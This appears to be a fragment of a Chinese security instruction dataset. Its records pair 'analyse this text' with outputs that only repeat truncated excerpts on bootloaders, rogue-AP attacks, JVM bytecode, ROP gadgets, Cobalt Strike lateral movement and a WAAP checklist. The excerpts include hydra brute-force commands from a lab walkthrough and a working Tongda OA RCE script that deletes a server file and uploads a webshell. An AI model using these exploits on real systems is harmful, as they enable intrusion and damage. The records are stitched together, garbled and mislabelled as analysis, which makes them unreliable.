基带也叫basehand或者radio 5.TZTrustZone bootloader 基本介绍 bootloader 组成 (iphone ) 1.BootRom: PBL, SecureROM 2.LLBLow Level Bootloader, checks the signature of iBoot 3 iBoot:stage 2 bootloader ,recovery mode 4.iBBSA stripped down version of iBoot 5.iBECperforming a restore from Fake DFU in LLB. bootloader获取与分析 Bootloader 获取 1.从rom 中获取 android后缀为mbn或者img 2. 从系统中dump a.有些android 手机 可以dump bootloader的挂载文件 bootloader获取与分析 bootloader 获取 例如华为P1 dd if=/dev/block/mmcblk0p3 of=/sdcard/mnt/bootloader.img b.iphone 下 Limera1n Exploit dump Bootrom 3. 硬件使用jtag 接口获取 android 手机一般可以通过jtag 接口获取 bootloader获取与分析 bootloader 分析以android sbl1为例 直接把sbl1 拖到ida 中反汇编效果不明显 我们缺少了什么加载地址怎么样确定加 载地址 1.bootloader cpu体系手册规定的加载地 址 2.bootloader 文件格式结构 3.手动分析经验猜测 bootloader获取与分析 bootloader 分析 以android sbl1为例 1.bootloader cpu体系手册规定加载地址 现在手机操作系统一般使用高通的芯片 比较多我们以MSM8960为例 见下图 sbl1 0x2A000000 tz: 0x2a020000 sbL2 0x2E000000 sbl3:0x47f00000 bootloader获取与分析 加载地址 来自8960 Boot Architecture bootloader获取与分析 bootloader 获得与分析 以android 为例 2.bootloader 文件结构中规定的加载地址 bootloader获取与分析 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThe Black Art of Wireless Post-Exploitation: Bypassing Port-Based Access Controls Using Indirect Wireless Pivots DEF CON Gabriel solstice Ryan net user author /domain Gabriel Ryan Security Engineer @ Gotham Digital Science Appsec | Infrastructure Testing | Red Team | Research @s0lst1c3 gryan@gdssecurity.com labs@gdssecurity.com New in this presentation: Hostile Portal Attacks: Steal Active Directory creds from WPA2-EAP networks without network access Indirect Wireless Pivots: Use Rogue AP attacks to bypass port-based access control mechanisms WPA2-EAP Wireless Theory: Evil Twin Attacks Rogue access point attacks: Bread and butter of modern wireless penetration tests Stealthy MITM attacks Steal RADIUS credentials Captive portals Evolution of Rogue Access Point Attacks 2002 - Evil Twin attacks documented in Wireless LAN Security FAQ - C. W. Klaus [1] 2003 asleap - Joshua Wright [2] 2004 - Karma Attacks - Dino Dai Zovi and Shane Macaulay [3] 2008 - Freeradius-wpe - Joshua Wright and Brad Antoniewitz [4] 2014 - Improved Karma Attacks (Mana) - Dominic White and Ian de Villiers [5] 2017 Lure10 Attacks George Chatzisofroniou [30] Evolution of Rogue Access Point Attacks Rogue AP attacks primarily used to fill two roles: 1. MITM attacks (stealing creds) 2. Breaching WPA/WPA2 networks (gaining access to WLAN) In this talk: rogue AP attacks as a means of lateral movement. Evil Twin Attacks Against WPA2-EAP WPA2-EAP Logically: Authentication occurs between supplicant and authentication server [6][7][8] Wireless Theory: EAP Without secure tunnel, auth process can be sniffed: Attacker sniffs challenge and response then derives password offline Legacy implementations of EAP susceptible to this (i.e. EAP-MD5 eapmd5hash by Joshua Wright in 2008 [13]) The attack: freeradius-wpe by Brad Antoniewicz in 2008 [4] Force supplicant to authenticate with attacker using evil twin attack [4] Cracking MS-CHAPv2 Dictionary Attack: success rate inversely proportional to strength of", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nJVM字节码学习笔记class 件结构 0x01 前 本系列学习笔记均来深理解 JVM 字节码作者张亚本笔记仅于个学习知 识总结 对于学习 java 安全想了解 JVM 字节码的童鞋们强烈建议购买正版书去阅读 0x02 class 件结构 java 是跨平台的门语但是 jvm 却不是跨平台的但是不同平台的 JVM 帮我们屏蔽了差 异通过 JVM 可以把源代码编译成和平台关的字节码这样我们的源代码就不根据不同 平台编译成不同进制是可执件了这也是 java 字节码的意义所在 class 件由部分组成具体如下 魔数magic number 版本号minor&major version 常量池constant pool 访问标记access flag 类索引this class 超类索引super class 接表索引interface 字段表field 法表method 属性表attribute 句顺溜可以帮助我们记忆 My Very Cute Animal Truns Savage In full Moon Areas. 我可爱的宠物会在圆时变得暴躁 1魔数magic number 魔数主要于利件内容本来标识件的类型class 件的魔数为 0xcafebabe 虚拟 机在加载类件之前会先检验这 4 个字节如果不是那么会抛出 java.lang.ClassFormatError 异常 java 之 James Gosling 曾经写过篇章意是他之前常去的家饭店有个乐队经 常演出后来乐队的主唱不幸去世他们就将那个地称为cafedead当时 Gosling 正 在设计些件的编码格式需要两个魔数个于对象持久化个于 class 件这两个魔数有着相同的前缀cafe他选择了 cafedead 作为对象持久化件的魔 数选择了 cafebabe 作为 class 件的魔数 2版本号minor&major version 魔数之后的四个字节分别表副版本号Minor Version和主版本号Major Version 如 CA FE BA BE 00 00 00 34 那么主版本号为 0x34=4x1+3x16=52 3常量池constant pool 常量池是类件中最复杂的数据结构 对于 JVM 来说如果操作数是常的数值如 0那么就会把这些操作数内嵌到字节码 中如果是字符串常量或者较的整数时class 件会把这些操作数存储在常量池中当 要使这些操作数的时候会根据常量池的索引位置来查找 数据结构意如下 常量池分为两个部分是常量池cp_info_count意思常量池项cp_info集合 常量池cp_info_count 常量池由两个字节表如果常量池为 n那么常量池真正有效的索引是 1~n-10 属于保留索引供特殊情况使 常量池项cp_info 常量池项最多包含 n-1个元素因为 long 和 double 类型的常量会占两个字节也就是说或 两个索引位置因此如果常量池中包含了这两种类型的变量那么实际中的常量池的元素个 数会 n-1要少 常量池项cp_info的数据结构意如下 每个常量池项的第个字节表常量项的类型tag接下来的个字节才表常量项的具 体内容 在 java 虚拟机中共定义了 14 种常量项 tag 类型这些常量名都以 CONSTANT开头以 info 结尾 struct{ u2 constant_pool_count; cp_info constant_poll[constant_pool_count-1]; } cp_info{ u1 tag; u2 info[]; } 常量类型 值 描述 CONSTANT_Utf8_info 1 utf-8 编码的字符串 CONSTANT_Integer_info 3 表 int 类型常量booleanbyteshortchart CONSTANT_Float_info 4 表 float 类型量 CONSTANT_Long_info 5 长整型字量 CONSTANT_Double_info 6 双精度型字量 CONSTANT_Class_info 7 表类或接 CONSTANT_String_info 8 java.lang.String 类型的常量对象 CONSTANT_Fieldref_info 9 字段信息表 CONSTANT_Methodref_info 10 法 CONSTANT_InterfaceMethodref_info 11 接法 CONSTANT_NameAndType_info 12 名称和类型表 CONSTANT_MethodHandle_info 15 法句柄表 CONSTANT_MethodType_info 16 法类型表 CONSTANT_InvokeDynamic_inf", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# SUNSET MIDNIGHT > https://download.vulnhub.com/sunset/midnight.7z 靶场IP`192.168.2.4 ` 扫描对外端口 ``` (rootkali)-[~/Desktop] # nmap -p1-65535 -sV 192.168.2.4 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-04 07:13 EDT Nmap scan report for 192.168.2.4 Host is up (0.000080s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1 MAC Address: 08:00:27:05:08:38 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.24 seconds ``` 浏览器访问80端口发现配置本地hosts ![image-20220904191517941](../../.gitbook/assets/image-20220904191517941.png) ``` (rootkali)-[~/Desktop] # cat /etc/hosts 192.168.2.4 sunset-midnight ``` ![image-20220904191627991](../../.gitbook/assets/image-20220904191627991.png) 对wordpress进行暴力破解发现无法爆破 ``` hydra -L users.txt -P /usr/share/wordlists/rockyou.txt sunset-midnight -V http-form-post '/wp-login.php:log=USER&pwd=PASS&wp-submit=Log In&testcookie=1:S=Location' -t 64 ``` 于是爆破MySQL端口找到账号密码`root/robert` ``` (rootkali)-[/tmp] # hydra -l root -P /usr/share/wordlists/rockyou.txt sunset-midnight mysql Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-04 08:43:20 [INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections) [DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task [DATA] attacking mysql://sunset-midnight:3306/ [3306][mysql] host: sunset-midnight login: root password: robert 1 of 1 target succes", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n/0 232 4,294,967,296 2128 340,282,366,920,938,463,463,374,607,431,768,211,456 /1 231 2,147,483,648 2127 170,141,183,460,469,231,731,687,303,715,884,105,728 /2 230 1,073,741,824 2126 85,070,591,730,234,615,865,843,651,857,942,052,864 /3 229 536,870,912 2125 42,535,295,865,117,307,932,921,825,928,971,026,432 /4 228 268,435,456 2124 21,267,647,932,558,653,966,460,912,964,485,513,216 /5 227 134,217,728 2123 10,633,823,966,279,326,983,230,456,482,242,756,608 /6 226 67,108,864 2122 5,316,911,983,139,663,491,615,228,241,121,378,304 /7 225 33,554,432 2121 2,658,455,991,569,831,745,807,614,120,560,689,152 /8 A 16,777,216 224 16,777,216 2120 1,329,227,995,784,915,872,903,807,060,280,344,576 /9 223 8,388,608 2119 664,613,997,892,457,936,451,903,530,140,172,288 /10 222 4,194,304 2118 332,306,998,946,228,968,225,951,765,070,086,144 /11 221 2,097,152 2117 166,153,499,473,114,484,112,975,882,535,043,072 /12 220 1,048,576 2116 83,076,749,736,557,242,056,487,941,267,521,536 /13 219 524,288 2115 41,538,374,868,278,621,028,243,970,633,760,768 /14 218 262,144 2114 20,769,187,434,139,310,514,121,985,316,880,384 /15 217 131,072 2113 10,384,593,717,069,655,257,060,992,658,440,192 /16 B 65,536 216 65,536 2112 5,192,296,858,534,827,628,530,496,329,220,096 /17 215 32,768 2111 2,596,148,429,267,413,814,265,248,164,610,048 /18 214 16,384 2110 1,298,074,214,633,706,907,132,624,082,305,024 /19 213 8,192 2109 649,037,107,316,853,453,566,312,041,152,512 /20 212 4,096 2108 324,518,553,658,426,726,783,156,020,576,256 /21 211 2,048 2107 162,259,276,829,213,363,391,578,010,288,128 /22 210 1,024 2106 81,129,638,414,606,681,695,789,005,144,064 /23 29 512 2105 40,564,819,207,303,340,847,894,502,572,032 /24 C 256 28 256 2104 20,282,409,603,651,670,423,947,251,286,016 /25 27 128 2103 10,141,204,801,825,835,211,973,625,643,008 /26 26 64 2102 5,070,602,400,912,917,605,986,812,821,504 /27 25 32 2101 2,535,301,200,456,458,802,993,406,410,752 /28 24 16 2100 1,267,650,600,228,229,401,496,703,205,376 /29 23 8 299", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n漏洞记深X服还没完通达OA搞RCE漏洞OA V11.6 Agan ' 338 收藏 1 原计划 分类专栏 Web常漏洞篇免费 章标签 通达OA RCE 2020-08-19 02:47:07 版权 当你的才华 还撑不起你的野时 那你就应该静下来学习 录 0x01 通达OA V11.6 源码下载与安装 0x02 前 0x03 复现漏洞 EXP 脚本 0x04 通达OA V11.5和V11.7 版本法复现该漏洞过程 本次漏洞复现只测试了三个版本 通达 OA V11.7 (最新) 通达 OA V11.6 通达 OA V11.5 订阅博主 关注 点赞 3 评论 2 分享 收藏 1 机看 打赏 修复建议升级最新版本 PS该漏洞影响很如果被成功利后会删除OA所需要的php件来绕过验证 会对站造成影响建议渗透测试业务时千万要让客户做系统备份或数据备份很 容易出事... ... 请勿作犯罪使络不是法外之地请珍惜命勿触犯法律... ... 你任何的动作别都知晓外有天外有天且且珍惜... ... 0x01 通达OA V11.6 源码下载与安装 通达OA V11.6 下载地址http://www.kxdw.com/soft/23114.html 步骤1运安装包傻式安装 订阅博主 关注 点赞 3 评论 2 分享 收藏 1 机看 打赏 步骤2运安装包傻式安装 订阅博主 关注 点赞 3 评论 2 分享 收藏 1 机看 打赏 步骤3运安装包傻式安装 订阅博主 关注 点赞 3 评论 2 分享 收藏 1 机看 打赏 步骤4成功安装 0x02 前 账号为admin 密码为空 订阅博主 关注 点赞 3 评论 2 分享 收藏 1 机看 打赏 先登录看看密码为空直接登录样式是这样的 订阅博主 关注 点赞 3 评论 2 分享 收藏 1 机看 打赏 0x03 复现漏洞 EXP 脚本 EXP直接打直接写到站根录下件名为_agan.php菜链接密码为agan 1 import requests 2 3 target=\"http://192.168.159.137:8080/\" 4 payload=\"\" 5 print(\"[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA\") 6 input(\"Press enter to continue\") 7 print(\"[*]Deleting auth.inc.php....\") 8 订阅博主 关注 点赞 3 评论 2 分享 收藏 1 机看 打赏 直接利上述代码即可改下你的URL地址即可 成功利 10 11 print(\"[*]Checking if file deleted...\") 12 url=target+\"/inc/auth.inc.php\" 13 page=requests.get(url=url).text 14 if 'No input file specified.' not in page: 15 print(\"[-]Failed to deleted auth.inc.php\") 16 exit(-1) 17 print(\"[+]Successfully deleted auth.inc.php!\") 18 print(\"[*]Uploading payload...\") 19 21 requests.post(url=url,files=files) 22 url=target+\"/_agan.php\" 23 page=requests.get(url=url).text 24 if 'No input file specified.' not in page: 25 print(\"[+]Filed Uploaded Successfully\") 26 print(\"[+]URL:\",url) 27 else: 28 print(\"[-]Failed to upload file\") 9 url=target+\"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php\" requests.get(url=url) url=target+\"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./\" 20 files = {'FILE1': ('agan.php', payload)} 订阅博主 关注 点赞 3 评论 2 分享 收藏 1 机看 打", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nʻpyREticʼ In memory reverse engineering for obfuscated Python bytecode Rich Smith Immunity Inc Abstract Growing numbers of commercial and closed source applications are being developed using the Python programming language. The trend with developers of such applications appears to be that there is an increasing amount of effort being invested in order to stop the sourcecode of their application being easily obtainable by the end user. This is being achieved through the use of a variety of obfuscation techniques designed to impede the common methods of Python decompilation. Another trend occurring in parallel is the use of Python as an increasingly present component of 'Cloud' technologies where traditional bytecode decompilation techniques fall down not through obfuscation, but through lack of access to the bytecode files on disk. The techniques discussed in this paper extend existing Python decompilation technologies through taking an approach that does not require access to standard Python bytecode files (.pyc/.pyo), but rather focuses on gaining access to the bytecode through instantiated Python objects in memory and using these to reconstruct a sourcecode listing equivalent to that composed by the applications author. Approaches will also be discussed of how to defeat the common obfuscation techniques that have been observed in use in order to be able to use the in memory decompilation techniques. Finally a proof of concept embodiment of the techniques developed will be discussed which will allow people to quickly leverage them to evaluate code for bugs that was previously opaque to them. 1. The Problem Space The starting point for the work discussed was the need to be able to audit Pythoni applications for security relevant bugs in order to make assertions about the risk they may introduce into an environment. In the pursuit of this goal it became apparent that many closed source/non-free programs that were written in Python were making ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\npackage org.vulhub.fastjsondemo; import com.alibaba.fastjson.support.spring.annotation.ResponseJSONP; import org.springframework.http.MediaType; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; @Controller public class JSONController { @RequestMapping(value = \"/\", method = RequestMethod.GET, produces = MediaType.APPLICATION_JSON_UTF8_VALUE) @ResponseBody public Object getUser() { User user = new User(); user.setName(\"Bob\"); user.setAge(25); return user; } @RequestMapping(value = \"/\", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_UTF8_VALUE) @ResponseBody public Object setUser(@RequestBody User user) { user.setAge(20); return user; } }", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 中级ROP 中级 ROP 主要是使用了一些比较巧妙的 Gadgets ## ret2csu ### 原理 在 64 位程序中函数的前 6 个参数是通过寄存器传递的但是大多数时候我们很难找到每一个寄存器对应的gadgets 这时候我们可以利用 x64 下的 __libc_csu_init 中的 gadgets这个函数是用来对 libc 进行初始化操作的而一般的程序都会调用 libc 函数所以这个函数一定会存在我们先来看一下这个函数(当然不同版本的这个函数有一定的区别) ```asm .text:00000000004005C0 ; void _libc_csu_init(void) .text:00000000004005C0 public __libc_csu_init .text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o .text:00000000004005C0 push r15 .text:00000000004005C2 push r14 .text:00000000004005C4 mov r15d, edi .text:00000000004005C7 push r13 .text:00000000004005C9 push r12 .text:00000000004005CB lea r12, __frame_dummy_init_array_entry .text:00000000004005D2 push rbp .text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004005DA push rbx .text:00000000004005DB mov r14, rsi .text:00000000004005DE mov r13, rdx .text:00000000004005E1 sub rbp, r12 .text:00000000004005E4 sub rsp, 8 .text:00000000004005E8 sar rbp, 3 .text:00000000004005EC call _init_proc .text:00000000004005F1 test rbp, rbp .text:00000000004005F4 jz short loc_400616 .text:00000000004005F6 xor ebx, ebx .text:00000000004005F8 nop dword ptr [rax+rax+00000000h] .text:0000000000400600 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call qword ptr [r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn .text:0000000000400624 __libc_csu_init endp ``` 这里我们可以利用以下几点 - 从 0x000000000040061A 一直到结尾我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 0x00 简介 横向渗透中Cobalt Strike给我们提供了 `psexec` `win` `winrm` 但是只是部分功能 顺便介绍下这几个工具 ### psexec >1通过ipc$连接然后释放psexesvc.exe到目标机器 2通过服务管理SCManager远程创建psexecsvc服务并启动服务 3客户端连接执行命令,服务端启动相应的程序并执行回显数据 Cobalt Strike 中提供2种psexec 用法 ``` beacon> help psexec Use: psexec [host] [share] [listener] Spawn a session on a remote host. This command generates an executable, copies it to the target, creates a service to run it, and cleans up after itself. You must specify which share (e.g., ADMIN$ or C$) to copy the file to. ``` ``` beacon> help psexec_psh Use: psexec_psh [host] [listener] Spawn a session on a remote host. This command creates a service on the target to start a PowerShell one-liner to bootstrap the desired listener. ``` 一种是用psexec生成会话 一种是利用psexec和powershell生成 psh都与powershell有关 ### WMI >WMI的全称是 Windows Management Instrumentation,它出现在所有的 Windows 操作系统中并由一组强大的工具集合组成用于管理本地或远程的 Windows 系统,攻击者使用wmi来进行攻击,但Windows系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性,越来越多的apt事件中使用WMI进行攻击利用WMI可以进行信息收集探测反病毒和虚拟机检测命令执行权限持久化等操作 ``` beacon> help wmi Use: wmi [host] [listener] Spawn a session on a remote host. This command uses WMI to run a PowerShell one-liner to bootstrap the desired listener. ``` 不过它这个工具是阉割了的只有help 提示的用法 # 0x01 psexec 横向渗透 >横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术特别是在高级持续威胁Advanced Persistent ThreatsAPT中更加热衷于使用这种攻击方法攻击者可以利用这些技术以被攻陷的系统为跳板访问其他主机获取包括邮箱共享文件夹或者凭证信息在内的敏感资源攻击者可以利用这些敏感信息进一步控制其他系统提升权限或窃取更多有价值的凭证借助此类攻击攻击者最终可能获取域控的访问权限完全控制基于Windows系统的基础设施或与业务相关的关键账户 1. portscan ![Cobalt Strike ](./img/15.1.png) 这里我用portscan 简单的探测一下不推荐一来就这样搞,我只是中和一下前面的工具使用 2. view > targets 发现同一C段主机 192.168.130.131 和具体端口信息 你可以右键此目标Scan进行更为详细的端口扫描 ![Cobalt Strike ](./img/15.2.png) 然后右键可以进行`psexec` `win` 这里我演示GUI操作 也可以使用命令来操作 (都一样回来还是用的命令行) ![Cobalt Strike ](./img/15.3.png) ![Cobalt Strike ](./img/15.4.png) 成功返回目标system beacon 其他我就不演示了 大同小异 # 0x02 steal_token 这里我搭建了一个简单的域环境演示一下功能 ``` beacon> help steal_token Use: steal_token [pid] Steal an access token from a process. ``` 这个功能是在进程中窃取令牌 ![Cobalt Strike ](./img/15.6.png) 这里我们用 pse", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nArchitecturally Leaking Data from the Microarchitecture Black Hat USA 2022 Pietro Borrello Sapienza University of Rome Andreas Kogler Graz University of Technology Martin Schwarzl Graz University of Technology Moritz Lipp Amazon Web Services Daniel Gruss Graz University of Technology Michael Schwarz CISPA Helmholtz Center for Information Security ÆPIC Leak: Architecturally Leaking Uninitialized Data from the Microarchitecture Black Hat USA 2022 Pietro Borrello Sapienza University of Rome Andreas Kogler Graz University of Technology Martin Schwarzl Graz University of Technology Moritz Lipp Amazon Web Services Daniel Gruss Graz University of Technology Michael Schwarz CISPA Helmholtz Center for Information Security ÆPIC Leak First architectural bug leaking data without a side channel 1 Pietro Borrello (@borrello pietro) Andreas Kogler (@0xhilbert) ÆPIC Leak First architectural bug leaking data without a side channel Not a transient execution attack 1 Pietro Borrello (@borrello pietro) Andreas Kogler (@0xhilbert) ÆPIC Leak First architectural bug leaking data without a side channel Not a transient execution attack Deterministically leak stale data from SGX enclaves 1 Pietro Borrello (@borrello pietro) Andreas Kogler (@0xhilbert) ÆPIC Leak First architectural bug leaking data without a side channel Not a transient execution attack Deterministically leak stale data from SGX enclaves No hyperthreading required 1 Pietro Borrello (@borrello pietro) Andreas Kogler (@0xhilbert) ÆPIC Leak First architectural bug leaking data without a side channel Not a transient execution attack Deterministically leak stale data from SGX enclaves No hyperthreading required 10th, 11th, and 12th gen Intel CPUs affected 1 Pietro Borrello (@borrello pietro) Andreas Kogler (@0xhilbert) Outline 1. ÆPIC Leak 2. Understand what we leak 3. Control what we leak 4. Exploit ÆPIC Leak 5. Mitigations 2 Pietro Borrello (@borrello pietro) Andreas Kogler (@0xhilbert) What is ÆPIC Leak? Advanced", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" (c) 1993 by Thomas Koenig (ig25@rz.uni-karlsruhe.de) .\\\" .\\\" 在包括本版权通告和许可声明的前提下,允许一字不捺地生成和发布本篇的拷贝版本. .\\\" .\\\" 在遵照本许可声明的条款完整地发布了原作品的前提下,允许复制和发布本手册的修改版本. .\\\" .\\\" 因为Linux内核和库经常修改,本手册页可能会出现错误或者过时.作者(们)对文中错误或者行文繁冗不 .\\\" 承担责任,对因为使用包含在内的信息而造成的损失也不负责.对于许可免费的本手册,作者(们)可能在创 .\\\" 作它时考虑层次各有不同,当工作专业化之后,也许能够达到一致. .\\\" .\\\" 将该手册版式化或者加工处理,如果没有包括原本,则必须公认本作品的版权和作者. .\\\" .TH LOCALE 7 \"1993年4月24日\" \"Linux\" \"Linux Programmer's Manual(Linux程序员手册)\" .SH NAME(名称) locale \\- 描述多语言支持 .SH SYNOPSIS(总览) .nf .B #include .fi .SH DESCRIPTION(描述) locale 就是一系列语言文化规则. 它包括如下一些方面: 讯息的语言, 不同字符设置, 文字惯例, 等等. 程序需要能够判断其 locale 并根据适合于不同文化的要求来运行. .PP 头文件 .B 声明了用于该项作业中的数据类型,函数和宏. .PP 它声明的函数有: .B setlocale() 用来设置当前 locale, .B localeconv() 用来获得数字格式方面的信息. .PP 程序可能需要的本地化信息会有不同的种类; 它们都以宏的方式声明 把它们当做 .B setlocale() 的第一个参数来用, 就可以把其中一个设置为需要的 locale: .TP .B LC_COLLATE 这用来修改函数 .B strcoll() 和 .BR strxfrm() 的执行方式, 其中 strxfrm() 函数用来以本地化字母表进行字符串比较. 例如, 德国升半音的 s 排序为 \"ss\". .TP .B LC_CTYPE 修改字符处理分类函数如 .B isupper() 和 .BR toupper() 的执行方式, 还修改多字节字符函数如 .B mblen() 或者 .BR wctomb() 的执行方式. .TP .B LC_MONETARY 修改由 .B localeconv() 返回的信息, 这些信息描述了数字, 以及诸如 小数点和千进位逗号之类输出的常见格式的细节. 这些信息由函数 .BR strfmon() 在内部调用. .TP .B LC_MESSAGES 修改显示的语言信息以及正值和负值的表达方式. GNU C-library包含: .B rpmatch() 函数用于方便地使用这些信息. .TP .B LC_NUMERIC 在考虑使用 locale 设置时,修改 .B printf() 和 .B scanf() 函数族使用的信息.该信息也可以由 .B localeconv() 函数读取. .TP .B LC_TIME 修改 .B strftime() 函数的执行方式以显示适于当地格式的当前时间; 例如,欧洲的绝大部分地区使用的是 24 小时的时钟, 而美国则是 12 小时的时钟. .TP .B LC_ALL 上述所有的. .PP 如果 .B setlocale() 的第二个参数为空, 则设置 .BR \"\"\"\"\"\" , 为默认的locale,它通过以下几步来确定: .IP 1. 如果有非空的环境变量 .BR LC_ALL , 则使用 .B LC_ALL 的值. .IP 2. 如果存在一个与上述列出的种类同名的环境变量并且其不为空, 则使用该分类的值. .IP 3. 如果有非空的环境变量 .BR LANG , 则使用 .B LANG 的值. .PP 关于本地数字格式的值用于由 .B localeconv() 函数返回的 .B struct lconv , 其有以下声明: .nf struct lconv { /* 数码(非货币形式)信息. */ char *decimal_point; /* 小数点字符. */ char *thousands_sep; /* 千数的分隔符. */ /* 每个元素就是每组的阿拉伯数字;指数越高的元素在越左边.一个值为CHAR_MAX的元素表示不需继续 分组了.一个值为0的元素表示前面的字符用于所有更左边的组. */ char *grouping; /* 货币信息. */ /* 前三个字符是ISO 4217定义的流通符号. 第四个", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 保护应用程序和 API 销售演练检查清单 Web 应用程序和 API 保护功能检查清单 在规划实施或优化信息安全策略的同时部署 Web 应用程序和 API 安全解决方案让您的企业获得理解独有风 险识别安全漏洞和检测威胁的强大能力您需要的是这样一种 Web 应用程序和 API 保护 (WAAP) 解决方案 - 它能够提供持续的监测能力和综合全面的见解还具有识别和阻止大部分复杂攻击的全面能力 这份检查清单可用于评估供应商能力也可以用作实施有效的 WAAP 解决方案时需要满足的需求列表 类别 1平台需求 企业的类型和规模林林总总并且具有不同水平的需求您的 Web 应用程序安全解决方案应该灵活 可扩展并且易于管理 具备与流量需求匹配的可扩展性 提供持续保护并且不会导致性能下降 架构能够应对跨地域分布式应用程序 带来的挑战 具备审核日志功能以确保合理使用 保护本地私有云或公共云包括多云 或混合云源站 能够抵御网络层 [L3/4] 分布式拒绝服务 (DDoS) 攻击并且提供 0 秒服务级别协议 在整个平台中融入通过众包模式获得的攻击 情报支持发现攻击者攻击频率和攻击严 重程度 通过端口 80 和 443 提供 Web 流量反向代理 功能 利用 SSL/TLS 加密保护网络隐私 2 Web 应用程序和 API 保护功能检查清单 保护应用程序和 API 销售演练检查清单 类别 2自适应 Web 应用程序和 DDoS 防护 您的 Web 应用程序安全机制必须超越基于签名的传统检测采用更加高级的自适应 Web 应用程序和 DDoS 防护以获得最为精准和可靠的安全效果 提供基于异常和风险的评分功能而不仅 限于基于签名的攻击检测 具备机器学习数据挖掘和启发法驱动的 检测能力从而识别快速不断变化的威胁 自动 Web 应用程序防火墙 (WAF) 规则能 够根据安全研究人员持续发布的实时威胁 情报更新 支持测试新的或更新的 WAF 规则在处理 实时流量方面的效果然后再将这些规则 部署到生产环境 以最低限度抵御 SQL 注入XSS 文件包含命令注入SSRFSSI 和 XXE 攻击 提供可全面自定义的预定义规则以满足 特定客户需求 能够抵御应用程序层 [L7] 容量耗尽 DoS 攻击这种类型的攻击会通过递归式应用 程序活动造成 Web 服务器不堪重负 完全托管式 WAF 规则无需持续配置和更新 提供针对个人和共享 IP 地址的客户端声誉 评分和情报 提供能快速抵御特定流量模式的自定义 规则虚拟修补 具备请求速率限制功能能够抵御自动化 或过多的爬虫程序流量 能够抵御指向源站的攻击 通过多个网络列表实施 IP/地域控制 阻止或允许来自特定 IP子网或地理 区域的流量 抵御自动化客户端例如漏洞扫描和 Web 攻击工具发起的攻击 3 Web 应用程序和 API 保护功能检查清单 保护应用程序和 API 销售演练检查清单 类别 3API 可见性防护和控制 API 防护已经成为 Web 应用程序安全的关键部分您需要具备稳健的 API 发现防护和控制能力的 WAAP 解决方案它应该能消除 API 漏洞减少您面对风险时的攻击面 自动发现和分析未知和/或不断变化的 API包括 API 端点特征和定义 支持自动检查 XML 和 JSON 请求 从而检测基于 API 的攻击 支持自定义 API 检查规则以满足特定用户 需求 能够预定义可接受的 XML 和 JSON 对象格 式以限制 API 请求的大小类型和深度 为 API 后端基础架构提供防护机制 抵御专为耗尽资源而发起的低速缓慢攻击 例如慢速 Post慢速 Get 可在 API 级别生成实时警报报告和仪表板 提供基于 API 密钥的 API 端点速率控制 节流功能 支持基于 IP/地域的 API 网络列表允许列表/ 拦截列表 带有版本控制的 API 